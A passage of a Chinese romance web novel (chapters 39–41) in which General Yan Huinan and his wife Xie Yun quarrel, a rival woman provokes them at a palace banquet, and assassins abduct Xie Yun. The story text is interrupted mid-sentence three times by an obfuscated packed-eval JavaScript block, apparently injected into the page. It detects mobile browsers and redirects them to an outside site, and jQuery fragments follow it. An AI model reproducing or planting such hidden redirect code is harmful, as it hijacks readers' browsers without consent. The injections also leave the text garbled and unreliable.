谢韵:“同样的,我们之间也不会有孩子。我不希望我的孩子出生在仇恨当中。就当是积德吧,让所有的恩怨在这一世,在我们这里终止吧。” “将军问完了吗?问完的话,我要喝药了。” 晏回南却强硬地将谢韵拉扯进怀里,不由分说地咬上她的唇。他用力地剥夺她身上的气息和温度,他将她推倒在床榻之上。 愤怒又痛苦地在她身上索求。 这一次谢韵没有流泪,但她的指尖却触碰到了湿润的水。 在她以为晏回南又要像之前一样蛮横地与她交欢时,晏回南却放开了她,并对她说,“谢韵,你够狠。” 谢韵茫然地抬起手,夕阳透过窗棂照射在她指尖,晶莹的一层水。她两个指尖揉搓了一下,湿润的。 那不是她的泪。 所以,那是晏回南的眼泪,是吗? 他之前……在谢韵面前哭过吗? 也许有,也许没有吧。她脑子一片混沌,忘记了。她先是疲惫地躺在床沿,后来她蜷缩成一团,一直到日薄西山,到夜幕低垂,到深夜猫头鹰登上枝头。 她怎么会不怕?她也怕啊。 她怕自己将来真的无法孕育属于自己的小生命。她也痛苦挣扎着。 - 养病的日子并不好受,谢韵一直是个乐观开朗之人,幼时爱与人玩闹,后来长大了也总爱给自己找些新奇的东西学,找些事儿做。 但近来一直在养病,无论是医术还是工匠手艺都生疏了许多,人也总闷着。 次日,她其实已经能下地了。其实这次失血就是让她失血的那个当下虚弱,之后出去走走对恢复身体也有好处。 寒真为谢韵梳完发,却意外发现桌子不起眼的角落里有一盒香。 她拿起来闻了闻,“夫人,这是你带着的香吗?” 谢韵疑惑地接过来,是一盒荔枝香膏。膏体温润,散发着淡淡的香气,装它的盒子工艺精美,小巧精致。 她猜到了是谁放在这的。只有他知道自己喜欢这款香。 “是。” “那我今日就给夫人用这个吧!”寒真虽然不记得夫人什么时候有过这个香了,但既然夫人都说是了,她也没有多问。 上午睿王听闻谢韵病了,小孩子还特意跑来一趟探视。他同小煤球混熟了,来探病时谢韵还在睡,醒来就见到一个睿王严肃专注地跟个小大人一样,怀里抱着小煤球,桌上摊开一册书,一人一狗正专心致志地看。 煤球哼唧一声,睿王立刻捏住他的狗嘴,神色严肃,不让它叫唤打扰了谢韵。 谢韵惊讶睿王居然没缠着晏回南练武,而是到她这儿乖乖待着。 她笑问,声音略有些虚弱:“睿王殿下,这是在看什么呢?” 睿王听见声音,严肃的小脸都快皱成一团了,很不放心地过来探了探谢韵的头,似乎是在检查她是否发热了。 谢韵觉得他可爱极了,“殿下,我不是发热,你这样是检查不出什么的。” 睿王听懂了,点点头。他将书拿给谢韵看。 哦!原来是志怪录啊……书名叫《西京怪谈》 果然,他是不会老老实实温书的! 但睿王见谢韵醒了,也没什么大碍了,一本正经地把书放在谢韵的枕边后,便转身离去了。 谢韵不懂他的意思,“殿下,你的书!” 寒真正好端了茶水进来,准备给睿王换壶新茶,就见到人走了。寒真对谢韵说,“周公公说殿下今日来,一是为探视,二是为将这本书带来给夫人解闷儿。这似乎是殿下很喜欢的书。” 谢韵笑着拿起来翻看,“真是可爱。” 只不过睿王殿下一直不说话,与人交流是个问题。若是将来有机会,她可以试着教教他手语。 过午之后,谢韵散步回来,正在喝药。颜以菱却带了一个意想不到的人过来探望谢韵。 颜以菱带着那人熟络地走进来,“将军夫人,听闻你又病了,你这哪像是那日在射箭场上英姿飒爽的人啊?分明是个病秧子嘛!我来瞧瞧你好些了没?” 谢韵将苦涩的药一饮而尽,夏天喝热药,热得她冒了一身的汗。 抬眸却见到颜以菱身后之人,格外眼熟,她边思索此人是谁,边心不在焉地回答道:“哪有你说的这样虚……我好多了。” 这人是谁来着? “谢韵,别来无恙。”那人却主动打起了招呼。 颜以菱赶忙对谢韵介绍,“将军夫人,这是我姨母家的表姐,柳诗筠。近日来我家小住一阵子。她说你们认识呢!听说你病了,我正好要来看你,她便一道来了。” 说完颜以菱又自言自语道:“对啊,我真是笨!你们同住京城,自然是认识的!” 一说名字,谢韵便将人脸和人名对上了。 当初父亲过寿,她救下河清长公主的猫儿时,柳诗筠就是那个被猫儿挠伤了脸的人。也是那个谢韶华找借口将她丢在朱雀街的人。 她从前与柳诗筠的交集并不多,对此人的印象并不深,但为数不多的交集,全是不好的回忆。 谢韵只记得,柳诗筠似乎和京城其他女子一样,心悦晏回南。那时候谢韵不过八九岁,哪里懂这些已经情窦初开的女孩的心思?更不会去关注。 只是柳诗筠仗着家父官阶高,总是要想尽办法压其他贵女一头。就连在喜欢晏回南这件事上也不甘示弱,为了吸引晏回南,算是无所不用其极。 只是没想到,她居然和颜以菱是表姐妹。 谢韵礼貌地回应,“柳小姐,的确是许久未见。” 柳诗筠仍旧傲慢,淡淡地嘲讽:“看来你过得不怎么好,真是替你难过。” 而更让谢韵没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976609|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的事情是,次日的泰山祭祀大典,皇后叫了柳诗筠随行。 - 翌日,天光未亮,天边深海一般呈墨蓝色。晏回南从屋里出来时,院内一片连绵的火光,军队马匹已在外等候出发巡防。 夏末秋初时节,奉高县寅时的风中已经沾染了凉意,晨露在低微出悄悄凝结又坠落。 只是今晨来侍奉晏回南更衣洗漱的人,换了一批年轻又貌美的。晏回南对待身边侍奉的人十分严格,一般人轻易近不得身。 其中一女子拿着衣服正要给晏回南换上,谁知晏回南登时就变了脸色,连那女人碰过的衣服他都不要了,让他用惯了的老仆妇重新拿了身干净的,自己利索穿上了。 他饮了一口新煮好的茶,并问:“谁让你们进来伺候的?” 几位妙龄女子察觉出了将军的不悦,连忙跪下来解释,“昨日方公公领我们过来,得了夫人首肯才过来侍奉将军的。” 得了夫人首肯? 谢韵! 晏回南气得一把将手中的茶杯丢出去,瓷器在地上破裂,发出骇人的脆响,地上伏跪着的几人头连忙叩在地上求饶。 “都给我滚!” 司文此时也进来,与害怕哭泣着跑出去的人迎面对上。 晏回南:“你知道这事吗?” 司文昨日一整日都跟在晏回南身边办事,并不知情。但刚刚匆匆过来时,这阵子负责这院子里一应事务的总管太监求救一般地拉住司文,说了这件事。 “属下也是刚刚知晓。” “她真是干得漂亮。”晏回南气得发笑,心底满是苦涩,“她是知道怎么给我添堵的。” 能让晏回南吃瘪愤怒却不能真的杀了她的,如今也唯有谢韵一人而已。 “夫人想是那日在皇后宫中听了什么,这些人还是上次赵公公送来的那批。”司文劝解道。 晏回南正眼也没瞧过去,拿上佩剑便走了出去。翻身上马时,院子里的灯火也随之熄灭,灯火熄灭的最后一刻,晏回南深深地望了一眼谢韵的院子,收回时眼底染上一层寒霜:“出发!” 巡防是将以祭坛为中心,延伸出去方圆一百里内的大小道路、村落城镇都进行一遍搜寻,只为防止意外出现。整个过程从寅时一直持续到近午时,祭天仪式开始之前。 返回奉高的路上,晏回南刚刚严厉惩治了一批玩忽职守的士兵,杖责八十军棍之后削除军籍,永世不得再参军。 晏回南向来治军严格,这也是正常的军纪军规,但一旁的喻霰还是能够明显感觉得到今日的晏回南,心情异常差。 喻霰想都不用想都知道,如今能让晏回南在意成这样,又让他一肚子火没处发,憋成这样的也只有那一个人了。 喻霰问:“怎么?在谢韵那吃瘪了?我早就劝你……” 晏回南:“大理寺卿还是好好想想回去是该哭还是该笑自己多了个侄儿吧。你喻家那档子烂事儿,你收拾明白了吗?” 这句话可算是戳喻霰肺管子上了,他如今的确处在两难的境地中。他和晏回南还真是,五十步笑百步。 若真的计较起来,晏回南比他更豁得出去。 39. 君心乱(6) 之后祭天大典一切顺利,皇长子正式成为太子,入主东宫。 “夫人,今日的祭天十分顺利。晚上行宫内设宴,明日我们便要启程回京了。”寒真一边为谢韵梳妆一边说,“夫人近来一直病着,病容憔悴,许久不曾好好打扮了。今日奴婢要好好为夫人打扮一番。” 谢韵倒是对这些宴会不胜其扰,没什么心思。但她不想让寒真也同自己一样愁绪不断,人嘛,总是活一个盼头。 她没有资格将寒真的快乐与盼头也剥夺了去。 而这宴会她去也得去,不去也得去,不如让寒真跟自己去了也觉得开心。 “好,你的手巧,你看着办吧。”谢韵露出一抹笑来。 寒真为谢韵梳了个简约大气的发髻,并未着过于浮夸奢华的钗环和过浓的妆容,但每一处妆容都仿佛是在谢韵原本就精致的面庞上,又精雕细琢了一番,恰到好处地提了谢韵的气色,又衬托出她出尘的气质。 梳妆结束之后,寒真满意地看着自己的作品,简直要被谢韵的美貌折服到落泪。 “夫人的容貌,果然是世间难得的绝色。”寒真同为女子,都忍不住连连称赞。即便是终日都能见到这样一张脸,但还是会无数次被惊艳到。 对比之下,寒真默默地抚摸着自己的脸蛋,羡慕地叹了口气。 谢韵终于被逗笑,“就你嘴贫!” 说着便抓起一块腮红,要往寒真的脸上抹。 “啊!夫人饶命!” 两人闹做一团,寒真两只手全捂在脸上,消停之后仍一脸防备,从两个指缝里偷看谢韵。对面的谢韵也因为这一番追逐发了汗,站在那冲寒真勾勾手,“你别怕我,我不会对你怎么样的。” “不行,我不相信。” “寒真!” 谢韵这一叫,她才老实放下手,夫人叫她,她唯有听的份儿啊,“是是是,夫人,我从命了。” 她乖乖地走到谢韵面前,伸出自己的脸蛋,打算任由谢韵蹂躏一番了,可谢韵只是笑着轻轻为她打了些腮红,“我们寒真,很是可爱嘛!将来夫人为你物色一个顶好顶好的夫婿,可好呢?” 说完,谢韵拿出铜镜来给寒真照,寒真有些婴儿肥,但她的眼睛很大,分外灵动可爱。额前的刘海更显出少女的稚嫩。 - 出席宴会本该夫妻同往,谢韵一直等着晏回南回来,但晏回南一直没回来,直到司文派人来通报,原来他已经先抵达了。 谢韵面露尴尬,“好,我知道了。” 谢韵因为等待晏回南,去得迟了些,大家已经落座,只等待帝后到来了。 只是让她没想到的是柳诗筠的座位,竟然就在晏回南的右手侧,中间隔着一个过道。谢韵抵达时,柳诗筠正试图与晏回南搭话。 照理柳诗筠并未随父兄出席,此次应当是和节度使一家落座后排。 这让谢韵联想到皇后当日说的话,所以柳诗筠就是皇权选中的人吗? 明明她不在乎这些,但真正看到本不该坐在晏回南旁边的柳诗筠,却坐在了那里。就连谢韵自己都难以察觉地,有些怅然若失。 或许是因着幼时的一些矛盾,她心中不喜柳诗筠。 又或许是曾经晏回南当着柳诗筠的面为她出头,让她不必怕这些人,让她若是受到欺负了,便派人去侯府和公主府传口信。 谢韵垂眸,在心中默念:贪婪是人之本性,在得到之后便想要得到更多。此时只是她那该死的占有欲在作祟罢了。 柳诗筠很大一部分代表了谢韵幼年时的记忆,而有柳诗筠在的时刻,谢韵会不由自主地想到那时候的晏回南一直站在她这一边维护她,而眼下这种维护感的消失,又一次提醒着谢韵,现在什么都变了。 她也早已不是那个会计较这点得失的少女了,不是吗? 所以谢韵神色自若地走到晏回南身边坐下。 听柳诗筠叙旧一般,旁若无人地凑过来同晏回南絮叨,神态娇羞,声音也娇滴滴的,一点也没有昨日在她面前的高傲样子。 谢韵淡淡地瞥过去一眼,正对上柳诗筠挑衅的眼神。 她不作回应,只是视若无睹地收回视线,夹了一块山药糕悄悄给寒真,并低声对寒真说:“尝尝,淋了桂花酱,香甜绵密,好吃吗?” 寒真顶着晏回南仿佛能把她千刀万剐的冷漠眼神,硬着头皮吃了谢韵夹给她的山药糕,“好吃。” 谢韵满意地笑了,一点都没有在乎身旁之人。 晏回南一点也没听柳诗筠的话,他抓住谢韵的手,惹得谢韵扭过头来不快地瞪着他。 “谁教你的?” 谢韵反问:“教我什么?” “谁教你往我房中塞女人的?”晏回南极力忍耐着心中的酸涩痛苦,“还有……” 下面的话他没有来得及说出口。 谢韵便狠心道:“这是为人妻的本分,我既无法为将军生儿育女,却不能真的让将军无后。毕竟,公主与侯爷一定不想看晏氏人丁凋敝。” 她的每一句话都精准地扎在晏回南的心头,血淋淋的。 晏回南握住她那只手的力道越来越重。谢韵,你怎么说的出口这些话的? 谢韵被攥得手疼,“将军,你弄疼我了。” “谢韵,你够狠。”此刻的晏回南偏执又可怕,“你想要自由是吗?” 谢韵怔怔地看着他,等待他的下文。 他却冷着声道:“你想都别想。你生是我晏回南的人,死是我晏氏的鬼。如果激怒我是你想要看到的,谢韵,你做得太成功了。但之后的结果就不会是你想要得到的了。” 说完他狠狠甩开谢韵的手。 一旁的柳诗筠都被晏回南这幅骇人样子吓到了。她只见过晏回南生气,但没见过他恨极了的样子。 但她内心又十分高兴看见晏回南与谢韵决裂,最好晏回南彻底厌弃了谢韵! 是了,晏回南早该厌弃谢韵了!她究竟有什么好的?柳诗筠一直没有想明白。 但现在好了,谢韵也许再也没机会了。 于是柳诗筠壮着胆子对晏回南说:“听闻今晨将军寅时便率军去巡防,一日下来想必辛苦极了。这是家父惯用的精油,对缓解疲惫有奇效。我特意为将军准备的,将军可要试试?” 晏回南之前一直没有搭理她,此刻却破天荒地回应道:“如何试?” 柳诗筠感觉到了希望,抑制不住地激动:“就……就是将精油倒在掌心揉搓发热,再分别用精油缓缓按摩太阳穴与太阴穴两处,便可起到缓解疲劳的作用。” “行。”晏回南没什么表情地说,“那便按你说的来。” 柳诗筠惊讶不已,笑着应下,“好!我之前在家中经常为家父和家母按摩,我很有经验的。” 晏回南却连眼皮都懒得抬:“少废话。” 对面落座的颜以菱惊讶地睁大了眼睛。她简直不敢相信眼前发生的这一切。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986891|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨日柳诗筠对她说认识谢韵,她那时的神态倒像是与谢韵关系极好的样子。 颜以菱无论如何也想象不到,自家表姐此刻会做出这样的事来。 她堂堂二品高官之女,看上谁不好,可为什么偏偏要对着一个有妇之夫如此殷勤? 而这边的柳诗筠拿了鸡毛当令箭,慢慢悠悠地走到晏回南身边站定,居高临下地看着谢韵,语调柔弱:“晏夫人,我们换个座位可好?在这个位置我为将军按摩,顺手。” 寒真本就因为晏回南居然接受这样一个,不知道从哪突然冒出来的女人当众碰他而生气。 虽然她并不知道谢韵从前同柳诗筠的恩怨,但还是看不顺眼她这幅狐假虎威的架势,“柳小姐,你顺手,可是旁人看着可就不那么顺眼了。你明知这是晏夫人,还敢说出这样失礼的话,你不是顺手,你是为着自己顺心吧!” 柳诗筠抬手指着寒真气得直发抖,“你!将军~我真的是因为这样能更好地给你按摩。” 她还委屈上了! 谢韵可不是软柿子,虽然她和晏回南吵架,但不管是谁,如果都要爬到她头上拉屎恶心她了,她也是不能接受的。 可她刚要开口,就听见旁边的晏回南真的顺着柳诗筠的话吩咐道:“你换旁边去。” 谢韵:“什么?” 晏回南不是看不明白,他十岁那年便长了一颗玲珑心,能哄得秦楼楚馆的姑娘开怀大笑。他不可能不知道柳诗筠此刻什么心思。 谢韵知道,他是故意的。 柳诗筠忙道:“既然将军都开口了……夫人还是同我换了吧。只是一小会儿,不会占了夫人什么的。” 谢韵冷笑一声,没多说一句话。没有一丝留恋地去了旁边。 其实她也生气,遇上这样恶心添堵的事情如何能不生气? 柳诗筠特意做了漂亮的指甲,在上面粘了干花,衬得她手指纤细白皙,她极尽妩媚地在掌心倒了些精油,揉搓发热后小心地给晏回南按摩。 一边按摩一边捏着嗓子问:“将军,可舒服?” 寒真在旁边看得鼻子不是鼻子,眼不是眼。最后干脆背过身去,眼不见为净。 晏回南则是他一贯的威严冷肃,并未回应柳诗筠。 待帝后进来时,宋鸿煊恰好看见这一幕,他极为惊讶,但又心生喜悦,对此刻的状态非常满意。故而此刻他的心情极好。 此事算是皇后一举策划而成,但她的眼神却落在旁边桌上的谢韵,谢韵的神色如常,看不出什么情绪。 宴会开始之后,柳诗筠就老实回到了自己的位置上,侧身与谢韵碰上时,柳诗筠脸上的得意与喜悦简直要溢出来,“谢韵,你这么骄傲,最后只会什么都得不到。” 谢韵却半点都懒得理她。 宴会举行到中途时,谢韵以身体不适为由先行离席了。待在这个空间里,实在是令她窒息! 她打算去花园的荷花池边透透气,此刻荷花已经凋谢地差不多了。但十分幸运地,谢韵在靠近池边的地方看见了一朵。 “寒真,你拉住我,我去摘一下那朵荷花!找个瓶插起来,夜里放在床头,能保一夜好眠!”谢韵浅笑着说。她在努力排解掉心中各种令人不愉快的情绪。 寒真点头,“夫人小心些。” 可两人没注意,忽然一道人影大叫一声扑过来,将谢韵扑倒在地,稳稳地压在她身上。惹得两个女人惊叫连连! “有刺客!” 40. 君心乱(7) 谢韵定睛一看,扑倒她的人居然是卢寂寒。 卢寂寒虽然脾气差了点,但家教极为严格。 虽然是为救人,但这样的姿势还是失礼,他耳根子立即变得又红又烫。 他自知失礼便连忙起身,一把冲过去捂住寒真的嘴,警告道:“你叫什么叫,看清楚,本公子可不是刺客!” 寒真被突袭,心脏几乎要骤停了,呼吸也变得急促。 “唔唔……” 卢寂寒:“你别再叫了啊,我是为了救你家主子才如此行事的。你若是真叫了人来,少爷我一世英名可就毁了。” 说完卢寂寒又将目光转向谢韵。 “大姐,你被柳诗筠那个女人抢了男人就要死要活的啊?” 说话时,他的神情特别无语,也许是这辈子没见过这么让他无语的事情。 谢韵从地上爬起来,拍了拍身上的枯叶尘土,“寒真不会说的,你放开她吧。” 卢寂寒这才放心,松开了寒真,“弄得我身上脏兮兮的,本来心情就差!” 他不满地将手在寒真的背后擦了擦,擦完还一副理所当然的表情:“看什么看,你口水都沾我手上了。” 寒真两眼一黑,差点要背过气去。这哪有半点书香门第子嗣的样子嘛! 可趁着卢寂寒擦手的间隙,谢韵趁其不备,一把揪住他的耳朵,“臭小子,你叫谁大姐!让你叫姐姐,脑子长了干什么吃的?这都记不住。而且谁告诉你,我是因为那种事情就要死要活的了?我那是摘花!摘花啊!看见那朵花没!去给姐姐摘回来。” 卢寂寒撇撇嘴,“我才不去。我怕你偷袭我,将我推下去。” 谢韵白他一眼,不过被他这么一闹,谢韵原本郁闷的心情倒是一下子豁然开朗了起来。 谁知卢寂寒反倒是有些黯然神伤的样子,不再犟了,“好了好了,我给你摘。” 他的手长,抓着池边的石栏,探出身子,轻易便摘到了,“诺!” 给完他拍拍手,“不过你这没心没肺的样子,倒是比我亲姐姐好不少。若是她像你这样,也不至于把自己气病了。” 谢韵却反问:“她告诉你她是气病的了?” 卢寂寒摇头,“没有啊,但她刚好在得知了喻王妃怀孕之后,大病一场。她从前都没有病得这样严重过,太医也说了是心病。不是因为这个还能是什么?” 谢韵却极为不屑:“龄玉姐姐才不会这样不清醒,为了一个男人要死要活的。” 卢寂寒不明白。 只听谢韵继续道:“像你家这样的门第,家中女儿自出生便无法选择自己的婚姻。世家大族中女子的婚姻,与其说是婚姻,不如说是交易,是筹码。女子用自己一声的幸福换得家族未来几十年甚至百年的繁华延续。” “可从始至终没有人问过你姐姐自己的意思,她是否喜欢喻王爷,是否情愿与喻王爷的婚事?同样地,在她被退婚之后,也没有人过问她的意思,世人便擅自将不体面的名头加在她的身上,用卑劣的、小家子气的小人心思去揣度一位朝廷女官。而且谁说被退婚的女子就一定要独自神伤、吃醋多年啊!” 卢寂寒听得一愣一愣的,这倒是他从未想过的。其实他与姐姐相处的时间并不长,姐姐自幼养在皇宫,而自姐姐被退婚后,她更是通过女官考试,留在宫中做了女官。 纵使是亲弟弟,一年也见不了姐姐几面。 只记得幼年时,姐姐与喻王爷青梅竹马的感情很好。两人一个是举世无双的谦谦君子,一位是同样才华横溢的才女,简直一对壁人。 他便和旁人一样,理所当然地认为姐姐就应该嫁给他,应该喜欢他。 可是姐姐在官场从未有过行差踏错,反而是得先皇后、皇后的赏识,一路高升,成为了世家女中的翘楚。 他以为是姐姐将心事藏得很好…… “或许她从前有过心动,但面对一个抛弃了自己的人,她不会至今仍旧为他神伤。而你身为弟弟,不关心姐姐何时能好,身边人是否照顾得好,反而不管不顾,只凭一腔怒气便胡乱地跑来奉高,你姐姐真是白疼你了。居然让你跟着旁人一样随意揣度她。就算她是,那也不要轻易揣度,否则旁人是否会因你的行为而更加诋毁重伤她,你究竟长没长脑子啊!” 卢寂寒听完谢韵的一番发言,顿时有种醍醐灌顶之感。他真该死!居然不相信自己的姐姐,而且还因为这点事,自己跑来这湖边喝闷酒。 他撇撇嘴,一副不太服气的样子道:“好吧……算你……说的有点道理!” 谢韵见到一贯对自己傲慢无礼的卢寂寒吃瘪,一时忍俊不禁。 说出了这些话,不仅是为卢龄玉,似乎也是为着自己。所以她格外开怀,一扫胸中郁闷。笑得极放松,“哼哼,我本来就很讲道理的。” 她的音容笑貌,卢寂寒竟有些看得呆了。 可突然间,不远处不知是什么瓦砾碎裂的声音乍响,吓了几人一跳。 卢寂寒心中暗道不好,不会真的有刺客吧? “姐姐你先回宴厅,我去看看!”卢寂寒匆忙追过去查看。 “哦!你小心。”谢韵点头,但她不想回宴会厅了。而且比起宴会厅,这里距离她的院子更近些,不如早些回去休息。 - 然而卢寂寒追出去并没有发现任何人,只在脚下踢到一块碎裂的小石狮子脑袋。他不禁惊讶,如此坚固的东西究竟是如何断裂的?!而此时谢韵已经离开了花园,他便也回了自己的住处。 “将军,那位是卢家公子,夫人与他定然只是偶然碰见的。”司文跟在晏回南的身后打圆场,“夫人刚刚也只是为卢小姐打抱不平。” “司文,我不瞎也不聋。” 他冷笑,自己只是犯贱而已。见到谢韵说身体不舒服出来了,还是不放心地跟出来,可跟出来就看见这一幕。又忍不住在旁边听了个全程。 卢寂寒是如何扑倒谢韵,两人是如何打闹、如何相谈甚欢的,他全都看见了。也听见了。 自己的夫人能够和身边的任何一个人好好说话,甚至相谈甚欢。唯独面对他时,永远都是那么地剑拔弩张,满是恨意。 他刚刚的确有一瞬间的冲动,就要冲出去将卢寂寒这厮一脚踹进池塘里淹死。可他在谢韵眼中,根本连个屁都算不上。 他还要如此犯蠢地冲上去,岂不是更可笑至极。到那时谢韵会如何看他? 而且谢韵刚刚那番话,与其在说卢龄玉,实则是她自己内心的想法。实则洒脱又冷漠的人是她谢韵自己。 人家已经那么不把你放在眼里了,晏回南,你还要冲上去犯蠢吗?从小到大在谢韵面前犯过的蠢,还不够多吗? 可笑的是,他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13005937|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是会因为这点小事而生气,跟一个毛头小子置气!心口揪着一阵一阵地难受酸苦,这种感觉险些就吞噬了他的理智。 晏回南:“卢寂寒骑马来的是吧。” 司文被问得莫名,但还是点点头,如实回答:“他骑的是将军你前几年赠他的生辰礼——青炎。这马就养在行宫马厩中。” 晏回南:“让他走回去,沿途所有驿站不许租赁售卖马匹给他。若是他弄到马匹了,也给我当即射杀。” 司文:啊?这是真的彻底让卢寂寒走回京城?这不得把人走死啊? “是!” 但司文转念一想,卢寂寒好歹是练过武的,走走停停,小半年总能走到了。不至于真的累死。 再次回到宴厅时,皇后已经不在,应当是带着太子回宫休息了。只剩下一些精力旺盛的男人还在饮酒相谈甚欢。 晏回南落座后,懒得参与这些。若非此刻他身兼要职,他是万不会再回这个酒臭气熏天的地方的! 他自幼便厌恶这种场合,厌恶虚与委蛇的官场。这里的所有人都虚伪、贪婪、狠辣、为达目的不择手段。 旁边席位上的柳诗筠居然也没走。她一直在等着晏回南回来。 她不依不饶地缠上来,以为刚刚晏回南让她在谢韵面前放肆,便是有机会了。 谁知她刚要去给晏回南倒酒,就被他恶狠狠地呵斥:“谁准你靠近我的!滚开!” 柳诗筠顿时被吓得一哆嗦,满腹疑惑与委屈无处诉,刚刚还好好的…… 酒至半酣时,宋鸿煊有了些醉意,晏回南便着人将宋鸿煊及其余官员一并送回去休息。 可一直候在殿外的张恪忽然来报,“皇后寝殿突遭刺客,刺客约十五人,全部是混在太监宫女中之人。如今已有十二人被擒,余下三人属下已派人去捉拿。” 只有些醉意的宋鸿煊闻言顿时被吓清醒了,他大吼:“皇后与太子是否安好?!” 张恪:“禀皇上,皇后与太子一切安好。臣已派重兵把守各殿。” “晏回南!你干什么吃的?”宋鸿煊喝了点酒就上头,痛斥晏回南失职。 晏回南脸色难看地看着宋鸿煊,他今日惩治的那批玩忽职守之人,正是御林军。往日御林军的选任权在兵部手中,并非晏回南的管辖范围内。 原本张恪就已发现御林军管理杂乱,早想整治,但奈何张恪常年驻守青州,在御林军统领面前处处被压一头。 若非晏回南亲自审查,那批尸位素餐者还悠闲地占着御林军的头衔混吃等死呢。 这批刺客大概就是趁这个空子混进来的。 宋鸿煊见晏回南黑脸,也乖乖地闭了嘴,“子游,你还是留在朕身边护卫朕吧。那几个刺客的目标肯定是我。” 晏回南:“嗯。” 但还是吩咐司文,“你亲自带人去保护夫人。” 司文是晏回南最信任之人,大周若论武功,司文的武功只比晏回南略低一些。而此次刺客的目标也的确如宋鸿煊所言,应该是看准了这次出京,想要对皇室不利。 谢韵不会有事。 可司文离开不过一盏茶的功夫,便有太监浑身是血地来通报:“将军!不好了!有刺客将晏夫人劫走了!刺客留下一张字条,让我交给将军。” 晏回南心脏骤停,几乎是冲过去抢过太监手里的纸条。 41. 同生死(1) 字条是由布条所制,所用布料正是今日谢韵穿的衣服上的布料。上面还沾染了一些荔枝香。 闻到这抹香气时,晏回南心中更添愤怒。 上写着让晏回南独自前往泰山南边山麓。若被人发现他带人前往,就杀了谢韵。 他暗暗咬紧了牙关,咬牙切齿道:“张恪,召集人马,去山麓!” 此时的晏回南压抑着怒气,宛如一头蛰伏的白虎。也是在此刻,晏回南才明白过来,也许这次刺客的目标并不是宋鸿煊或者太子,因为在严密防守的祭坛和行宫内,他们并不能百分百确保,一定能刺杀成功。 而且届时他们一定会将更多的兵力放在保护宋鸿煊和太子身上。 谢韵反倒成了守卫的盲点。 而绑走谢韵,并且让晏回南单刀赴会,那么这群刺客此次的目标一定是晏回南。 宋鸿煊闻言,见情形不对,也跑过来看字条上写的内容,晏回南并未阻止他。 但是当宋鸿煊看完内容后,他顿时脸色大变,怒斥道: “晏回南!朕不许你去!这么明显的陷阱,纵使是你去了也是送死!”宋鸿煊又重重地重复了一遍,“朕不允许你去!” “来人,把晏将军送回寝殿,严加看守。” 可这大殿内除了御林军是直接听命与宋鸿煊的之外,剩下的全是晏回南的人。只要晏回南不发话,没人能真的动得了他。 那群跃跃欲试的御林军被晏回南的人控制地死死的。 宋鸿煊气急败坏:“你们!你们这是要让他去送死!” 晏回南丝毫没有听他话的意思,而是面无表情地看向宋鸿煊,但眼神里满是嗜血戾气。宋鸿煊已经很多年没有见过这样的晏回南了。 上一次见,还是大梁军队闯入都城。 那一夜的晏回南,杀疯了,他浑身都是血,眼神决绝又嗜血,简直是从地狱中爬上来的修罗、恶鬼。 之后的晏回南,很多年都是理智又克制的。 要知道以晏回南从前的性格,是不会真的顺服的。但那一夜之后,晏回南仿佛迅速成长了起来。宋鸿煊知道,他所守护的,不过是他母亲的国,他父亲拼死守护的国。 但今夜的晏回南,之前多年累积的理智仿佛尽数崩塌。他此刻守护的,才是他的所求。 但宋鸿煊绝不会放任晏回南胡来,“你以为你的命只是你一个人的命吗?你别忘了,你肩上背负着多重的责任。地下还有多少亡魂,他们都在等你给他们一个交代!你若死了,谁来给他们报仇?你的命不是你一个人就可以决定的。朕同你说清楚,你若是死了,朕不会替你报旧仇。” 他试图用这样的话来威胁晏回南。宋鸿煊表面看上去是个懦弱、好欺负的皇帝,但其实他心中也有着满腔的志愿。 那一场举国的悲剧,让他和晏回南都急速成长。他同样励精图治,希望为死去之人报仇。所以他需要晏回南和他一起。 晏回南自然知道他身上背负着什么。 宋鸿煊冷静又无情道:“你想好了,那只是一个谢韵。我早就说过了,她不会真心待你的。说不定这次的劫持,就是她与谢青云联手,自导自演的一场阴谋,目的就是为了置你于死地!你以为你抓住的是一只听话的金丝雀,可谢韵她不是!” “我们自幼相识,谢韵心里的花花肠子有多少你不是不知道!她也是个睚眦必报、心狠手辣的人。为了她的目的,她也可以不择手段。你还要骗自己多久?!晏回南,你醒醒吧!她根本就不值得!” 晏回南听得忍无可忍,现在他一个字的废话都不想再听了,冲上去一把掐住了宋鸿煊的脖子,沉声质问:“什么叫,那只是一个谢韵?” 他的力气极大,宋鸿煊仿佛下一秒能被晏回南提起来。 一旁的宫人见状心顿时提到了嗓子眼,若是晏回南手上再用力一点,宋鸿煊可能真的会当场被掐死。 此时此刻,无论是新来的还是旧宫人,更加明白了,为何晏回南是大周最不能惹的人。 